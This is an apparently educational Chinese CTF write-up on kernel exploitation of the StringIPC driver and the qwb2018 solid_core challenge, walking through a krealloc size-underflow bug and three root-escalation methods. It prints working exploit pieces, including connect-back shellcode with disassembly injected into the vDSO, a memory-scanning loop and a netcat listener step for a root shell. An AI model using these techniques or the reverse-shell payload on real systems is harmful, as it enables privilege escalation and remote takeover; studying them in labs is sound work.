網上找不到題目,但找到題目源碼連結[1],所以可以自己編譯環境什麼的。
環境的配置(內核編譯以及製作文件系統)以及ko的編譯可以參照基礎知識[2]這一個章節。
我的環境是內核linux-4.4.110[3],文件系統是busybox-1.31.0[4]。
其中需要注意一點的是在init文件中要加入sysctl -w kernel.hotplug=/sbin/mdev或者是先insmod StringIPC.ko再執行/sbin/mdev -s,否則會在dev目錄下不會自動生成csaw設備。
分析閱讀源碼後,知道了程序的功能是可以創建ipc通道,並對ipc通道進行相應的讀、寫、擴展以及縮小。其中漏洞代碼存在於縮小函數中,代碼如下:
staticint realloc_ipc_channel ( struct ipc_state *state, int id, size_t size, int grow ){struct ipc_channel *channel;size_t new_size;char*new_data;
channel = get_channel_by_id(state, id);if( IS_ERR(channel) )return PTR_ERR(channel);
if( grow ) new_size = channel->buf_size + size;else new_size = channel->buf_size - size;
new_data = krealloc(channel->data, new_size + 1, GFP_KERNEL);if( new_data == NULL )return-EINVAL;
channel->data = new_data; channel->buf_size = new_size;
ipc_channel_put(state, channel);
return0;}由於沒有對傳入的size進行檢查,導致new_size可以變成0xffffffffffffffff(如channel->buf_size為0x101,傳入的size為0x100),最後調用krealloc時會將new_size+1導致變成0,krealloc源碼如下,當new_size為0時,返回值時ZERO_SIZE_PTR(16),而並不是NULL,所以會使得channel->data的值為0x10,channel->buf_size的值為0xffffffffffffffff,形成漏洞。
#define ZERO_SIZE_PTR ((void*)16)...void*krealloc(constvoid*p, size_t new_size, gfp_t flags){void*ret;
if(unlikely(!new_size)) { kfree(p);return ZERO_SIZE_PTR;}
ret = __do_krealloc(p, new_size, flags);if(ret && p != ret) kfree(p);
return ret;}通過該漏洞可以形成任意讀寫的能力,假設任意讀寫的目的地址是addr,其實現如下:
•任意讀:設置index為addr-0x10,再通過去讀ipc通道中的數據,讀取channel->data+index地址的數據,即實現addr中數據的讀取。•任意寫:設置index為addr-0x10,再通過去往ipc通道中的數據,往channel->data+index地址寫數據,即實現addr中數據的讀取。
利用當具備了任意地址讀寫能力的實現,如何做才能實現提權,大致有三種做法:
•修改cred結構提權•修改vsdo代碼提權•HijackPrctl提權
修改cred結構提權在ciscn2017-babydriver[5]中,是通過uaf實現對進程的cred結構體的修改以進行提權。而現在擁有了任意地址讀寫的能力,只要我們能夠找到進程的cred結構體地址,也仍然可以通過該方式實現提權。
每個線程在內核中都有自己的線程棧以及線程結構塊thread_info,該結構體裡面包含了線程的相應信息,該結構體定義如下(路徑為./arch/x86/include/asm/thred_info.h):
struct thread_info {struct task_struct *task; /* main task structure */ __u32 flags; /* low level flags */ __u32 status; /* thread synchronous flags */ __u32 cpu; /* current CPU */mm_segment_t addr_limit;unsignedint sig_on_uaccess_error:1;unsignedint uaccess_err:1; /* uaccess failed */};thread_info結構被稱之為小型的進程描述符,是因為在這個結構中並沒有直接包含與進程相關的欄位,而是通過task欄位指向該進程描述符。task欄位為struct task_struct結構體中,部分定義如下(路徑為./include/linux/sched.h):
struct task_struct {.../* process credentials */conststruct cred __rcu *ptracer_cred; /* Tracer's credentials at attach */conststruct cred __rcu *real_cred; /* objective and real subjective task* credentials (COW) */conststruct cred __rcu *cred; /* effective (overridable) subjective task* credentials (COW) */char comm[TASK_COMM_LEN]; /* executable name excluding path- access with[gs]et_task_comm (which lock it with task_lock())- initialized normally by setup_new_exec */...};struct task_struct結構體為進程描述符結構體,其中也包含了struct cred結構體,該結構體定義如下(路徑為./include/linux/cred.h),只需要將到egid前的幾個欄位修改為0,即可實現提權:
struct cred {atomic_t usage;#ifdef CONFIG_DEBUG_CREDENTIALSatomic_t subscribers; /* number of processes subscribed */void*put_addr;unsigned magic;#define CRED_MAGIC 0x43736564#define CRED_MAGIC_DEAD 0x44656144#endifkuid_t uid; /* real UID of the task */kgid_t gid; /* real GID of the task */kuid_t suid; /* saved UID of the task */kgid_t sgid; /* saved GID of the task */kuid_t euid; /* effective UID of the task */kgid_t egid; /* effective GID of the task */kuid_t fsuid; /* UID for VFS ops */kgid_t fsgid; /* GID for VFS ops */unsigned securebits; /* SUID-less security management */kernel_cap_t cap_inheritable; /* caps our children can inherit */kernel_cap_t cap_permitted; /* caps we're permitted */kernel_cap_t cap_effective; /* caps we can actually use */kernel_cap_t cap_bset; /* capability bounding set */kernel_cap_t cap_ambient; /* Ambient capability set */#ifdef CONFIG_KEYSunsignedchar jit_keyring; /* default keyring to attach requested* keys to */struct key __rcu *session_keyring; /* keyring inherited over fork */struct key *process_keyring; /* keyring private to this process */struct key *thread_keyring; /* keyring private to this thread */struct key *request_key_auth; /* assumed request_key authority */#endif#ifdef CONFIG_SECURITYvoid*security; /* subjective LSM security */#endifstruct user_struct *user; /* real user ID subscription */struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */struct group_info *group_info; /* supplementary groups for euid/fsgid */struct rcu_head rcu; /* RCU deletion hook */};現在的關鍵則是在於如何尋找到cred結構體,我們可以先找到task結構體,再通過其欄位const struct cred __rcu *cred確定cred結構體的位置,所以問題就變成了如何尋找struct task_struct結構體。
看到struct task_struct結構體中存在char comm[TASK_COMM_LEN]欄位,該欄位表示的是進程名字的字符數組,最大的長度可以為15。可以通過prctl函數設置進程的名字,man手冊說明如下:
NAME prctl - operations on a process
SYNOPSIS#include<sys/prctl.h>
int prctl(int option, unsignedlong arg2, unsignedlong arg3,unsignedlong arg4, unsignedlong arg5);
DESCRIPTION prctl() is called with a first argument describing what to do(with values definedin<linux/prctl.h>), and further arguments with a significance depending on the first one. The first argument can be:... PR_SET_NAME (since Linux2.6.9)Set the name of the calling thread, using the value in the location pointed to by(char*) arg2. The name can be up to 16 bytes long, including the terminating nullbyte. (If the length of the string, including the terminating nullbyte, exceeds 16 bytes, the stringis silently truncated.) Thisis the same attribute that can be set via pthread_setname_np(3) and retrieved using pthread_getname_np(3). The attribute is likewise accessible via /proc/self/task/[tid]/comm, where tid is the name of the calling thread.所以可以通過爆破進程名稱comm來尋找struct task_struct結構體,具體原理為:通過prctl設置進程名稱為特定的字符串,通過任意地址讀將內存讀取出來,在內存中尋找該特定的字符串,如果匹配到的話則認為尋找到了該結構體。
還需要確定的是爆破尋找的範圍,創建task_struct代碼如下:
staticinlinestruct task_struct *alloc_task_struct_node(int node){return kmem_cache_alloc_node(task_struct_cachep, GFP_KERNEL, node);}通過kmem_cache_alloc_node函數申請的空間是在內核的動態分配區域,根據下面的內核映射區,地址爆破的範圍應是0xffff880000000000~0xffffc80000000000。
內存布局圖整個利用過程總結如下:
1.使用prctl將進程名稱設定為特定字符串。2.利用任意地址讀,在地址空間0xffff880000000000~0xffffc80000000000範圍內尋找該特定字符串以定位task_struct結構體。3.通過task_struct結構體得到cred結構體地址。4.利用任意地址寫,將cred結構體中表示進程權限的欄位修改為0,實現提權。
修改vdso代碼實現提權VDSO是Virtual Dynamic Shared Object,是由內核提供的虛擬的so。這個so文件不在磁碟上,而是在內核裡頭。內核把包含某.so的內存頁在程序啟動的時候映射入其內存空間,對應的程序就可以當普通的.so來使用裡頭的函數。
VDSO是內核為了減少內核與用戶空間頻繁切換,提高系統調用效率而提出的機制。特別是gettimeofday這種對時間精度要求特別高的系統調用,需要儘可能地減少用戶空間到內核空間堆棧切換的開銷。
用gdb將vdso dump下來以後,查看文件屬性,可以看到它就是一個動態連結庫且裡面的符號主要是時間精度要求比較高的函數:
$ file vdso_rawvdso_raw: ELF 64-bit LSB shared object, x86-64, version 1(SYSV), dynamically linked, BuildID[sha1]=a161174420225c9cfc326758c7a1823c052d086d, stripped
$ objdump -T vdso_raw
vdso_raw: file format elf64-x86-64
DYNAMIC SYMBOL TABLE:0000000000000a40 w DF .text 000000000000026b LINUX_2.6 clock_gettime0000000000000cb0 g DF .text 0000000000000160 LINUX_2.6 __vdso_gettimeofday0000000000000cb0 w DF .text 0000000000000160 LINUX_2.6 gettimeofday0000000000000e10 g DF .text 0000000000000015 LINUX_2.6 __vdso_time0000000000000e10 w DF .text 0000000000000015 LINUX_2.6 time0000000000000a40 g DF .text 000000000000026b LINUX_2.6 __vdso_clock_gettime0000000000000000 g DO *ABS* 0000000000000000 LINUX_2.6 LINUX_2.60000000000000e30 g DF .text 0000000000000029 LINUX_2.6 __vdso_getcpu0000000000000e30 w DF .text 0000000000000029 LINUX_2.6 getcpu內核將vdso映射到用戶空間的原理是:現在用戶空間尋找到未用空間,再調用remap_pfn_range函數將內核頁面直接映射過去。這種情況下就意味著,可能每個進程看到的vdso的地址是不同的,但是它們享有的數據卻是相同的,都是內核中那一塊vdso內存,在內核空間修改了該頁面代碼的話,則所有的進程vdso中的代碼都會發生改變。
於是修改vdso有了相應的提權方案:通過任意讀找到vdso在內核中的位置;再通過任意寫去修改vdso中的代碼,如將gettimeofday函數修改成執行shell的函數;最終等待具有root權限的進程執行gettimeofday函數,觸發shellcode,獲得shell。
首先要解決的問題是如何通過任意讀找到vdso在內核中的位置。仍然可以使用爆破的方法,vdso的範圍在0xffffffff80000000~0xffffffffffffefff,而且該映射滿足頁對齊,並且存在ELF文件結構。因此可以以0x1000為間隔搜索,因為符號表中存在函數名稱字符串,如gettimeofday,所以可以通過判斷固定偏移去判斷是否是vdso地址。示例代碼如下所示:
for(addr=0xffffffff80000000; addr<0xffffffffffffefff; addr+=0x1000) { arbitrary_read(fd, channel_id, read_buff, addr, 0x1000); result = strcmp(read_buff+vdso_name_offset, func_name);
if(result == 0) { vdso_addr = addr; printf("[+] vdso addr found at: %lp\n", vdso_addr);break;}}接著是修改vdso中gettimeofday中的代碼,注入的shellcode功能為:判斷當前進程權限是否為root,如果為root則啟動shell,並將其重定向到socket。github上存在shellcode連結[6]:
"\x90\x53\x48\x31\xc0\xb0\x66\x0f\x05\x48\x31\xdb\x48\x39\xc3\x75\x0f\x48\x31\xc0\xb0\x39\x0f\x05\x48\x31\xdb\x48\x39\xd8\x74\x09\x5b\x48\x31\xc0\xb0\x60\x0f\x05\xc3\x48\x31\xd2\x6a\x01\x5e\x6a\x02\x5f\x6a\x29\x58\x0f\x05\x48\x97\x50\x48\xb9\xfd\xff\xf2\xfa\x80\xff\xff\xfe\x48\xf7\xd1\x51\x48\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x48\x31\xdb\x48\x39\xd8\x74\x07\x48\x31\xc0\xb0\xe7\x0f\x05\x90\x6a\x03\x5e\x6a\x21\x58\x48\xff\xce\x0f\x05\x75\xf6\x48\xbb\xd0\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xd3\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\x48\x31\xd2\xb0\x3b\x0f\x05\x48\x31\xc0\xb0\xe7\x0f\x05";
noppush rbxxor rax,raxmov al, 0x66syscall #check uidxor rbx,rbxcmp rbx,raxjne emulate
xor rax,raxmov al,0x39syscall #forkxor rbx,rbxcmp rax,rbxje connectback
emulate:pop rbxxor rax,raxmov al,0x60syscallretq
connectback:xor rdx,rdxpushq 0x1pop rsipushq 0x2pop rdipushq 0x29pop rax syscall #socket
xchg rdi,raxpush raxmov rcx, 0xfeffff80faf2fffdnot rcxpush rcxmov rsi,rsppushq 0x10pop rdxpushq 0x2apop raxsyscall #connect
xor rbx,rbxcmp rax,rbxje shxor rax,raxmov al,0xe7syscall #exit
sh:noppushq 0x3pop rsiduploop:pushq 0x21pop raxdec rsisyscall #dupjne duploop
mov rbx,0xff978cd091969dd0not rbxpush rbxmov rdi,rsppush raxpush rdimov rsi,rspxor rdx,rdxmov al,0x3bsyscall #execvexor rax,raxmov al,0xe7syscall最終等待具有root權限的進程執行相應函數,為了觸發,在init文件中加入了啟動一個sudo_timer程序,該程序的功能是循環執行gettimeofday。
#include<stdio.h>int main(){while(1){ sleep(1); gettimeofday();}}需要注意的是,這個程序需要動態連結,並將其需要的libc.so.6以及ld-linux-x86-64.so.2拷貝到文件系統相應的目錄下,因為靜態連結,gettimeofday中的代碼也會直接連結到程序中,運行時就不會觸發shellcode了。
$ ldd sudo_timer linux-vdso.so.1(0x00007ffd0c9e3000) libc.so.6=> /lib/x86_64-linux-gnu/libc.so.6(0x00007f1b48c2a000)/lib64/ld-linux-x86-64.so.2(0x00007f1b4921d000)執行完成後只需要在系統中nc監聽3333埠,等到root shell的到來就可以了。
如果是比賽題的話,也可以用shellcode去把flag的權限改成777,這樣就可以在非root權限下讀取flag了。
HijackPrctlHijackPrctl主要是利用prctl系統調用在內核中實現存在一個hook指針,利用任意寫將hook指針修改以劫持內核執行流從而實現目的的方式。
這個解法先是在《New Reliable Android Kernel Root Exploitation Techniques[7]中提出,然後在qwb2018的solid_core[8]裡面被進一步利用。
前面提到過prctl函數,其函數原型如下:
int prctl(int option, unsignedlong arg2, unsignedlong arg3,unsignedlong arg4, unsignedlong arg5);其在內核中對應的代碼如下(路徑為./kernel/sys.c):
SYSCALL_DEFINE5(prctl, int, option, unsignedlong, arg2, unsignedlong, arg3,unsignedlong, arg4, unsignedlong, arg5){struct task_struct *me = current;unsignedchar comm[sizeof(me->comm)];long error;
error = security_task_prctl(option, arg2, arg3, arg4, arg5);if(error != -ENOSYS)return error;可以看到該函數直接調用了security_task_prctl,再去看該函數的實現(路徑為./security/security.c):
int security_task_prctl(int option, unsignedlong arg2, unsignedlong arg3,unsignedlong arg4, unsignedlong arg5){int thisrc;int rc = -ENOSYS;struct security_hook_list *hp;
list_for_each_entry(hp, &security_hook_heads.task_prctl, list) { thisrc = hp->hook.task_prctl(option, arg2, arg3, arg4, arg5);if(thisrc != -ENOSYS) { rc = thisrc;if(thisrc != 0)break;}}return rc;}看到存在hp->hook.task_prctl(option, arg2, arg3, arg4, arg5)這個函數調用,hp->hook.task_prctl為內核中的數據,因此可以利用任意地址覆蓋該指針實現函數流的劫持。
將斷點下在security_task_prctl可以看到相關數據如下,只需要往地址0xffffffff81eb8118寫數據就可以控制函數流。
pwndbg> print security_hook_heads.task_prctl$1 = {next= 0xffffffff81eb8100<capability_hooks+416>, prev = 0xffffffff81ec0fc0<yama_hooks+64>}
pwndbg> print*hp$4 = { list = {next= 0xffffffff81ec0fc0<yama_hooks+64>, prev = 0xffffffff81eb8890<security_hook_heads+1744>}, head = 0xffffffff81eb8890<security_hook_heads+1744>, hook = {... task_prctl = 0xffffffff81328e30<cap_task_prctl>,...}
pwndbg> print&hp->hook$5 = (union security_list_options *) 0xffffffff81eb8118<capability_hooks+440>將該指針覆蓋成什麼函數呢,內核中存在call_usermodehelper函數,該函數代碼如下(路徑為./kernel/kmod.c):
/*** call_usermodehelper() - prepare and start a usermode application* @path: path to usermode executable* @argv: arg vector for process* @envp: environment for process* @wait: wait for the application to finish andreturn status.* when UMH_NO_WAIT don't wait at all, but you get no useful error back* when the program couldn't be exec'ed. This makes it safe to call* from interrupt context.** Thisfunctionis the equivalent to use call_usermodehelper_setup() and* call_usermodehelper_exec().*/int call_usermodehelper(char*path, char**argv, char**envp, int wait){struct subprocess_info *info;gfp_t gfp_mask = (wait == UMH_NO_WAIT) ? GFP_ATOMIC : GFP_KERNEL;
info = call_usermodehelper_setup(path, argv, envp, gfp_mask, NULL, NULL, NULL);if(info == NULL)return-ENOMEM;
return call_usermodehelper_exec(info, wait);}EXPORT_SYMBOL(call_usermodehelper);該函數可以在內核中直接新建和運行用戶空間程序,且啟動後的進程具有root權限,因此只要將參數傳遞正確就可以執行任意命令。看起來通過該函數可以執行任意命令,但是有一個缺陷那就是第一個參數option的類型是int,如果是64位的程序且開啟了smap的話,這個參數多半就費了(無法控制),32位系統倒是可以無障礙的使用的。
然後就去搜看有不有誰調用了call_usermodehelper,並且參數是在內核可寫區域的,最後找到的函數是__orderly_poweroff,只要覆蓋全局變量poweroff_cmd就能達到目的。當然,這是直接看師傅們writeup知道的。
char poweroff_cmd[POWEROFF_CMD_PATH_LEN] = "/sbin/poweroff";staticconstchar reboot_cmd[] = "/sbin/reboot";
staticint run_cmd(constchar*cmd){char**argv;staticchar*envp[] = {"HOME=/","PATH=/sbin:/bin:/usr/sbin:/usr/bin", NULL};int ret; argv = argv_split(GFP_KERNEL, cmd, NULL);if(argv) { ret = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC); argv_free(argv);} else{ ret = -ENOMEM;}
return ret;}
staticint __orderly_reboot(void){int ret;
ret = run_cmd(reboot_cmd);
if(ret) { pr_warn("Failed to start orderly reboot: forcing the issue\n"); emergency_sync(); kernel_restart(NULL);}
return ret;}
staticint __orderly_poweroff(bool force){int ret;
ret = run_cmd(poweroff_cmd);
if(ret && force) { pr_warn("Failed to start orderly shutdown: forcing the issue\n");
/** I guess this should try to kick off some daemon to sync and* poweroff asap. Ornot even bother syncing if we're doing an* emergency shutdown?*/ emergency_sync(); kernel_power_off();}
return ret;}
staticbool poweroff_force;
staticvoid poweroff_work_func(struct work_struct *work){ __orderly_poweroff(poweroff_force);}最終的利用方案是:先爆破vsdo地址,利用vsdo地址的偏移得到kernel的基地址;然後利用任意寫將poweroff_cmd換成反彈shell的可執行程序路徑;將hp->hook.task_prctl覆蓋成poweroff_work_func函數地址即可;最後調用prctl函數觸發hook即可。
原文裡面是說需要先劫持hook函數執行selinux_disable才能成功執行程序,在我的環境裡不需要。。。搞不懂selinux是個啥。
qwb2018-solid_core這題是基於stringipc修改的題目,在write函數中加入了限制條件,要求寫入的地址不能小於0xFFFFFFFF7FFFFFFF,同時在編譯選項中添加了vdso不可寫,所以使得前兩種方法不可用。
addr = *((_QWORD *)v16 + 1) + v17;if( addr <= 0xFFFFFFFF7FFFFFFFLL){ printk(&unk_779);}elseif( strncpy_from_user(addr, v26, v27) >= 0){goto LABEL_19;}使用HijackPrctl可以解這道題目,與stringipc中exp的區別就在於函數以及全局變量的偏移。
vdso中函數可以通過dump內存然後查看符號來解決。
poweroff_work_func等函數則是可以通過查看/proc/kallsyms來得到,最後poweroff_cmd偏移則只有在gdb中通過反彙編函數來得到其相應的地址。
小結學習的過程中有不少坑點,也只有踩過才知道,向師傅們學習,也感謝師傅們的指導。
參考連結1.淺析linux內核中的idr機制[9]2.linux kref詳解[10]3.KERNEL PWN入門總結——從內存任意讀寫到權限提升[11]4.【linux內核漏洞利用】StringIPC—從任意讀寫到權限提升三種方法[12]5.給shellcode找塊福地- 通過VDSO繞過PXN[13]6.強網杯出題思路-solid_core-HijackPrctl[14]7.shellcode.asm[15]
References[1] 連結: https://github.com/mncoppola/StringIPC/blob/master/main.c
[2] 基礎知識:
[3] linux-4.4.110: https://mirrors.edge.kernel.org/pub/linux/kernel/v4.x/linux-4.4.110.tar.gz
[4] busybox-1.31.0: https://busybox.net/downloads/busybox-1.31.0.tar.bz2
[5] ciscn2017-babydriver:
[6] 連結: https://gist.github.com/itsZN/1ab36391d1849f15b785
[7] 《New Reliable Android Kernel Root Exploitation Techniques: http://powerofcommunity.net/poc2016/x82.pdf
[8] solid_core: https://bbs.pediy.com/thread-225488.htm
[9] 淺析linux內核中的idr機制: https://www.cnblogs.com/roucheng/p/linuxidr.html
[10] linux kref詳解: https://blog.csdn.net/fz835304205/article/details/9116503
[11] KERNEL PWN入門總結——從內存任意讀寫到權限提升: https://xz.aliyun.com/t/3204
[12] 【linux內核漏洞利用】StringIPC—從任意讀寫到權限提升三種方法: https://www.jianshu.com/p/07994f8b2bb0
[13] 給shellcode找塊福地- 通過VDSO繞過PXN: https://bbs.pediy.com/thread-220057.htm
[14] 強網杯出題思路-solid_core-HijackPrctl: https://bbs.pediy.com/thread-225488.htm
[15] shellcode.asm: https://gist.github.com/itszn/1ab36391d1849f15b785往期推薦
linux-kernel-pwn-基礎知識
linux-kernel-pwn qwb2018 core
Linux-kernel-pwn ciscn2017 babydriver